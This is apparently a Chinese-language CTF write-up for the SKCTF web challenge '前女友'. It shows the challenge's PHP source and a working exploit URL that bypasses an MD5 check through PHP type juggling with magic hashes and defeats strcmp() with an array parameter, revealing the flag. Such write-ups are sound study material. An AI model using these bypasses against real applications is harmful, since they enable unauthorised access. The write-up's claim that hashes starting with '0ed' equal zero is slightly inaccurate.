前女友(SKCTF)
前女友(SKCTF)
100
http://123.206.31.85:49162/ flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}
1.查找连接
查看源代码,差点被骗掉,连接就藏再里面 code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
参考strcmp
strcmp() 函数比较两个字符串。
注释:strcmp() 函数是二进制安全的,且对大小写敏感。
提示:该函数与 strncmp() 函数类似,不同的是,通过 strncmp() 您可以指定每个字符串用于比较的字符数。
var_dump(md5('240610708') == md5('QNKCDZO'));
之前做题遇到的md5可能会排上用场
2.php代码审计
开始构造参数
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以0ed的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0ed+类型的,那么PHP将会认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
http://123.206.31.85:49162/?v1=240610708&v2=QNKCDZO&v3[]=asd
所以得到flag SKCTF{Php_1s_tH3_B3St_L4NgUag3}